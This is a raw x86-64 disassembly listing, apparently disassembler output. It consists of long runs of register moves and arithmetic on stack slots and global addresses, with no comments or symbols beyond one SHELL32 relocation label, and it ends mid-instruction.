movzx eax, word [rsp + 0x1cd8]
mov word [rsp + 0x1d94], ax
mov eax, dword [rsp + 0x70bc]
mov ecx, dword [rsp + 0x70f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xbe98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc778], rax
mov eax, dword [rsp + 0x6978]
mov dword [rsp + 0x7158], eax
mov rax, qword [rsp + 0xe6e0]
mov rcx, qword [rsp + 0xf510]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc2e0], rax
lea rax, [rsp + 0x18e0]
mov qword [0x1402c98e0], rax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xfcc8], rax
movzx eax, word [rsp + 0x1980]
movzx ecx, word [rsp + 0x1cac]
add eax, ecx
mov rcx, qword [rsp + 0xcee8]
mov word [rcx], ax
mov rax, qword [rsp + 0xda18]
movzx eax, byte [rax]
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], al
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [0x1402c74d2]
shl eax, cl
mov rcx, qword [rsp + 0xfbf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xf160]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68ec]
sar eax, cl
mov rcx, qword [rsp + 0xe1e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6bc4]
mov dword [rsp + 0x715c], eax
mov rax, qword [rsp + 0xec48]
mov rcx, qword [rsp + 0xe738]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xcd68]
mov qword [rsp + 0xfcd0], rax
movzx eax, byte [rsp + 0x220]
movzx ecx, byte [rsp + 0x78]
xor eax, ecx
mov byte [0x1402c752f], al
mov rax, qword [rsp + 0xfc98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17fc], ax
movzx eax, word [rsp + 0x173c]
mov rcx, qword [rsp + 0xda80]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbef0]
mov word [rcx], ax
mov rax, qword [rsp + 0xf140]
movzx eax, byte [rax]
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd858]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf958]
mov byte [rcx], al
mov rax, qword [rsp + 0xf848]
mov eax, dword [rax]
mov dword [rsp + 0x7160], eax
mov rax, qword [rsp + 0xdf18]
mov rcx, qword [rsp + 0xf6c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe870]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d54]
mov ecx, dword [rsp + 0x6c48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf6b8]
mov dword [rcx], eax
lea rax, [rsp + 0xc488]
mov qword [rsp + 0xfcd8], rax
mov rax, qword [rsp + 0xf7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov rcx, qword [0x1402c9810]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0xa2]
and eax, ecx
mov rcx, qword [rsp + 0xe3c8]
mov byte [rcx], al
lea rax, [rsp + 0x143]
mov qword [rsp + 0xfce0], rax
mov rax, qword [rsp + 0xf7f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf7d8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x195c], ax
mov rax, qword [0x1402c94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c30]
add eax, ecx
mov word [rsp + 0x1cec], ax
mov rax, qword [rsp + 0xe2f0]
mov qword [rsp + 0xfce8], rax
mov eax, dword [rsp + 0x6fd8]
mov ecx, dword [rsp + 0x6d24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e98], eax
lea rax, [rsp + 0x6b54]
mov qword [rsp + 0xfcf0], rax
mov rax, qword [rsp + 0xeed0]
mov rcx, qword [rsp + 0xc568]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe728], rax
lea rax, [rsp + 0x1568]
mov qword [0x1402c98e8], rax
movzx eax, word [rsp + 0x1888]
mov word [rsp + 0x1d98], ax
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15bc], ax
movsx eax, byte [rsp + 0x113]
movsx ecx, byte [rsp + 0x163]
shl eax, cl
mov rcx, qword [rsp + 0xd288]
mov byte [rcx], al
lea rax, [rsp + 0x1ca]
mov qword [rsp + 0xfcf8], rax
mov rax, qword [rsp + 0xfc30]
movzx ecx, al
mov rax, qword [rsp + 0xcf78]
sar rax, cl
mov rcx, qword [rsp + 0xeed0]
mov qword [rcx], rax
lea rax, [rsp + 0x6c80]
mov qword [rsp + 0xfd00], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6cf8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xeb50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd238]
mov rcx, qword [rsp + 0xcf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xfa88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1cdc]
mov word [rsp + 0x1d9c], ax
lea rax, [rsp + 0x1c8]
mov qword [0x1402c98f0], rax
movzx eax, word [0x1402c7510]
movzx ecx, word [rsp + 0x1cfc]
imul eax, ecx
mov word [rsp + 0x18f0], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x286], al
movzx eax, byte [rsp + 0x1dd]
movzx ecx, byte [rsp + 0x83]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0xf878]
mov ecx, dword [rsp + 0x6fb4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xf500]
mov dword [rcx], eax
lea rax, [rsp + 0x7068]
mov qword [rsp + 0xfd08], rax
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xe400]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd598], rax
mov rax, qword [rsp + 0xe358]
mov rax, qword [rax]
mov qword [rsp + 0xfd10], rax
movzx eax, word [rsp + 0x15e0]
movzx ecx, word [rsp + 0x18e8]
sub eax, ecx
mov rcx, qword [rsp + 0xd1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc578]
movsx eax, word [rax]
movsx ecx, word [0x1402c74e4]
add eax, ecx
mov word [0x1402c74ec], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
mov byte [rsp + 0x287], al
movsx eax, byte [rsp + 0x17b]
movsx ecx, byte [rsp + 0x1b9]
add eax, ecx
mov rcx, qword [rsp + 0xfb88]
mov byte [rcx], al
movsx eax, word [rsp + 0x19c0]
movsx ecx, word [0x1402c749c]
and eax, ecx
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0xf700]
mov eax, dword [rax]
mov dword [rsp + 0x7164], eax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xec28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe558], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xfd18], rax
mov eax, dword [rsp + 0x70b0]
mov ecx, dword [rsp + 0x700c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a8], eax
movzx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xfa98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe4c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xea68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f2]
shl eax, cl
mov byte [0x1402c74e2], al
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
mov word [rsp + 0x1da0], ax
mov rax, qword [rsp + 0xe840]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xebc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x109], al
movzx eax, word [rsp + 0x1a30]
mov word [rsp + 0x1da4], ax
mov rax, qword [rsp + 0xd0a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf358]
mov qword [rsp + 0xfd20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd20]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd8a8], rax
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xc5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6cd4], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xfd28], rax
mov rax, qword [rsp + 0xeff8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x703c]
mov rcx, qword [rsp + 0xed50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc020]
movzx eax, byte [rax]
mov byte [rsp + 0x288], al
lea rax, [rsp + 0x1c88]
mov qword [0x1402c98f8], rax
mov rax, qword [rsp + 0xf250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bf0], ax
mov rax, qword [rsp + 0xf230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13d]
add eax, ecx
mov byte [rsp + 0x259], al
lea rax, [0x1402c90a5]
mov qword [rsp + 0xfd30], rax
mov rax, qword [rsp + 0xdff0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x187]
add eax, ecx
mov rcx, qword [rsp + 0xbf20]
mov byte [rcx], al
lea rax, [rsp + 0x6fc8]
mov qword [rsp + 0xfd38], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdde8], rax
mov rax, qword [rsp + 0xf9f8]
mov eax, dword [rax]
mov dword [rsp + 0x7168], eax
mov rax, qword [rsp + 0xe6d8]
mov rcx, qword [rsp + 0xc438]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [0x1402c9900], ax
movsx eax, word [0x1402c762c]
movsx ecx, word [rsp + 0x1b2c]
sub eax, ecx
mov word [rsp + 0x15c4], ax
lea rax, [rsp + 0x12e]
mov qword [rsp + 0xfd40], rax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17e]
sub eax, ecx
mov rcx, qword [rsp + 0xeb40]
mov byte [rcx], al
mov rax, qword [rsp + 0xc710]
movzx eax, word [rax]
mov word [rsp + 0x1da8], ax
mov rax, qword [rsp + 0xec08]
mov rcx, qword [rsp + 0xc978]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f30], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc6a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a8], rax
mov rax, qword [rsp + 0xf420]
mov rax, qword [rax]
mov qword [rsp + 0xfd48], rax
mov eax, dword [rsp + 0x6d4c]
movzx ecx, al
mov eax, dword [rsp + 0x707c]
shl eax, cl
mov rcx, qword [rsp + 0xe1e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc9a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
cdq
idiv ecx
mov rcx, qword [0x1402c9828]
mov byte [rcx], al
movzx eax, word [rsp + 0x1bac]
mov word [rsp + 0x1dac], ax
movsx eax, word [rsp + 0x1aa8]
movsx ecx, word [rsp + 0x1644]
xor eax, ecx
mov word [rsp + 0x17c0], ax
movsx eax, byte [rsp + 0x84]
movsx ecx, byte [rsp + 0xa0]
sar eax, cl
mov rcx, qword [rsp + 0xd760]
mov byte [rcx], al
mov rax, qword [rsp + 0xf0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcca8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xe950]
mov qword [rsp + 0xfd50], rax
mov rax, qword [rsp + 0xf5c8]
mov rcx, qword [rsp + 0xc878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7020], eax
mov eax, dword [rsp + 0x6cbc]
imul eax, dword [rsp + 0x6b08]
mov rcx, qword [rsp + 0xd520]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf988]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75c0], ax
mov rax, qword [rsp + 0xc490]
movzx eax, word [rax]
mov word [rsp + 0x1db0], ax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe958]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x28a], al
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1890]
sub eax, ecx
mov word [rsp + 0x1b74], ax
mov rax, qword [rsp + 0xf6e8]
mov rax, qword [rax]
mov qword [rsp + 0xfd58], rax
mov rax, qword [rsp + 0xee90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe98], rax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xefa8]
mov eax, dword [rax]
mov dword [rsp + 0x716c], eax
lea rax, [rsp + 0x1848]
mov qword [0x1402c9908], rax
movsx eax, word [rsp + 0x16ac]
movsx ecx, word [rsp + 0x19d0]
add eax, ecx
mov word [rsp + 0x170c], ax
mov rax, qword [rsp + 0xd3b0]
movzx eax, byte [rax]
mov byte [rsp + 0x28b], al
movzx eax, byte [rsp + 0x140]
mov rcx, qword [rsp + 0xebe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x245], al
movsx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0xd820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x269], al
mov rax, qword [rsp + 0xd7c0]
mov rax, qword [rax]
mov qword [rsp + 0xfd60], rax
mov rax, qword [rsp + 0xc268]
mov rcx, qword [rsp + 0xdfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf290]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd368]
mov eax, dword [rax]
mov dword [rsp + 0x7170], eax
mov rax, qword [rsp + 0xe998]
movzx ecx, al
mov rax, qword [rsp + 0xc9c8]
shl rax, cl
mov qword [rsp + 0xc7f0], rax
lea rax, [rsp + 0x190c]
mov qword [0x1402c9910], rax
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f9]
xor eax, ecx
mov rcx, qword [rsp + 0xdf30]
mov byte [rcx], al
lea rax, [rsp + 0xf3]
mov qword [rsp + 0xfd68], rax
movzx eax, word [rsp + 0x1a08]
movzx ecx, word [rsp + 0x1c68]
sar eax, cl
mov word [rsp + 0x164c], ax
movzx eax, word [0x1402c7544]
mov word [rsp + 0x1db4], ax
mov rax, qword [rsp + 0xbf80]
mov rcx, qword [rsp + 0xce28]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc780], rax
lea rax, [rsp + 0xbe28]
mov qword [rsp + 0xfd70], rax
mov rax, qword [rsp + 0xedb8]
mov ecx, dword [rsp + 0x6d30]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xee50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf398]
mov ecx, dword [rsp + 0x6dac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70dc], eax
movsx eax, word [rsp + 0x1948]
mov rcx, qword [0x1402c9480]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75fc], ax
lea rax, [rsp + 0x287]
mov qword [rsp + 0xfd78], rax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xda18]
mov byte [rcx], al
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xfd80], rax
mov rax, qword [rsp + 0xe4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xde40]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xef68]
mov word [rcx], ax
mov rax, qword [rsp + 0xf9a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc168]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcc70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov dword [rsp + 0x7174], eax
mov eax, dword [rsp + 0x6b24]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
lea rax, [rsp + 0xf470]
mov qword [rsp + 0xfd88], rax
movsx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0xe7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c7573], al
mov rax, qword [rsp + 0xe980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d00]
add eax, ecx
mov word [rsp + 0x1734], ax
movzx eax, word [rsp + 0x1ca8]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1610], ax
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x28c], al
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a], al
lea rax, [rsp + 0x6b58]
mov qword [rsp + 0xfd90], rax
mov rax, qword [rsp + 0xd080]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbe50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe030]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ab8]
shl eax, cl
mov dword [rsp + 0x6f2c], eax
lea rax, [rsp + 0xd968]
mov qword [rsp + 0xfd98], rax
movzx eax, word [rsp + 0x1828]
movzx ecx, word [0x1402c757c]
sar eax, cl
mov rcx, qword [rsp + 0xf488]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c74]
xor eax, ecx
mov word [0x1402c74dc], ax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0xfda0], rax
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0xefe0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x26a]
mov byte [rsp + 0x28d], al
mov eax, dword [rsp + 0x6a10]
mov ecx, dword [rsp + 0x69a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd990]
mov rcx, qword [rsp + 0xebc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd708]
mov dword [rcx], eax
lea rax, [rsp + 0xc690]
mov qword [rsp + 0xfda8], rax
mov rax, qword [rsp + 0xe578]
mov rcx, qword [rsp + 0xdb78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xf8e0]
mov qword [rcx], rax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xfdb0], rax
movzx eax, word [rsp + 0x1938]
mov rcx, qword [rsp + 0xf040]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c93c0], ax
movsx eax, word [rsp + 0x16f0]
movsx ecx, word [rsp + 0x1d78]
add eax, ecx
mov word [rsp + 0x17b4], ax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
mov word [rsp + 0x1db8], ax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6c34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfd50]
mov qword [rsp + 0xfdb8], rax
mov rax, qword [rsp + 0xd3f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f7c], eax
mov rax, qword [rsp + 0xd100]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd98]
mov qword [rsp + 0xfdc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfdc0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcb10], rax
lea rax, [rsp + 0x1da8]
mov qword [rsp + 0xfdc8], rax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c7576], al
mov rax, qword [rsp + 0xfa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1570]
xor eax, ecx
mov rcx, qword [rsp + 0xbc10]
mov word [rcx], ax
lea rax, [rsp + 0x81]
mov qword [rsp + 0xfdd0], rax
mov rax, qword [rsp + 0xf040]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xde68]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x15e0], ax
mov eax, dword [rsp + 0x6bdc]
mov dword [rsp + 0x7178], eax
mov rax, qword [rsp + 0xc0c8]
mov rcx, qword [rsp + 0xd668]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xee68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6c8]
mov rcx, qword [rsp + 0xcaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe430], rax
mov eax, dword [rsp + 0x6ad0]
mov dword [rsp + 0x717c], eax
mov rax, qword [0x1402c96c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0x27d], al
movzx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0xc590]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c751e], al
lea rax, [rsp + 0x187c]
mov qword [rsp + 0xfdd8], rax
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d44]
add eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
mov rax, qword [rsp + 0xd540]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x1d6], al
lea rax, [rsp + 0x1b68]
mov qword [rsp + 0xfde0], rax
mov rax, qword [rsp + 0xfc40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a3c], eax
mov rax, qword [rsp + 0xf290]
mov eax, dword [rax]
mov dword [rsp + 0x7180], eax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [rsp + 0xd4b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfa8]
mov qword [rcx], rax
lea rax, [rsp + 0x27d]
mov qword [0x1402c9918], rax
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x28e], al
mov rax, qword [0x1402c9698]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe688]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19c8], ax
lea rax, [rsp + 0x1a40]
mov qword [rsp + 0xfde8], rax
mov rax, qword [rsp + 0xf200]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c7513]
add eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0xc530]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe6b0], rax
mov rax, qword [rsp + 0xe858]
mov rax, qword [rax]
mov qword [rsp + 0xfdf0], rax
mov rax, qword [rsp + 0xf380]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xefa8]
mov qword [rsp + 0xfdf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfdf8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e28], eax
lea rax, [rsp + 0x6b9c]
mov qword [rsp + 0xfe00], rax
lea rax, [rsp + 0xa0]
mov qword [0x1402c9920], rax
movzx eax, byte [rsp + 0x1dd]
movzx ecx, byte [rsp + 0xe7]
sar eax, cl
mov rcx, qword [rsp + 0xe2f8]
mov byte [rcx], al
mov rax, qword [0x1402c98a0]
movzx eax, word [rax]
mov word [rsp + 0x1dbc], ax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [rsp + 0x172]
or eax, ecx
mov rcx, qword [rsp + 0xde28]
mov byte [rcx], al
mov rax, qword [rsp + 0xe420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b58]
imul eax, ecx
mov word [rsp + 0x159c], ax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x7184], eax
mov rax, qword [rsp + 0xf808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0c8], rax
mov eax, dword [rsp + 0x6e68]
mov dword [rsp + 0x7188], eax
mov rax, qword [rsp + 0xe170]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xde70]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ce0]
movzx ecx, word [rsp + 0x1994]
add eax, ecx
mov word [0x1402c75ec], ax
mov rax, qword [rsp + 0xecb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0xd110]
movzx eax, word [rax]
mov word [rsp + 0x1dc0], ax
mov rax, qword [rsp + 0xd298]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0xe510]
movzx eax, word [rax]
mov word [rsp + 0x1dc4], ax
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x6be0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b9c], eax
mov rax, qword [rsp + 0xc7a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f0], rax
lea rax, [rsp + 0xeda8]
mov qword [rsp + 0xfe08], rax
mov rax, qword [rsp + 0xd5b8]
mov rcx, qword [rsp + 0xe0a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ed0], eax
movzx eax, word [rsp + 0x1b74]
movzx ecx, word [rsp + 0x1608]
sub eax, ecx
mov rcx, qword [0x1402c9908]
mov word [rcx], ax
lea rax, [rsp + 0x113]
mov qword [rsp + 0xfe10], rax
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x177]
add eax, ecx
mov byte [rsp + 0x93], al
movsx eax, word [rsp + 0x17ec]
movsx ecx, word [rsp + 0x1604]
shl eax, cl
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
lea rax, [rsp + 0x10f]
mov qword [rsp + 0xfe18], rax
mov rax, qword [rsp + 0xf880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c0], eax
mov rax, qword [rsp + 0xd1b0]
mov qword [rsp + 0xfe20], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xce70]
mov qword [rsp + 0xfe28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe28]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov dword [rsp + 0x718c], eax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c7577], al
mov rax, qword [rsp + 0xcbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xea98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcfa0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x27a]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xdb38]
movzx eax, byte [rax]
mov byte [rsp + 0x28f], al
mov rax, qword [0x1402c9798]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1574]
add eax, ecx
mov rcx, qword [rsp + 0xc410]
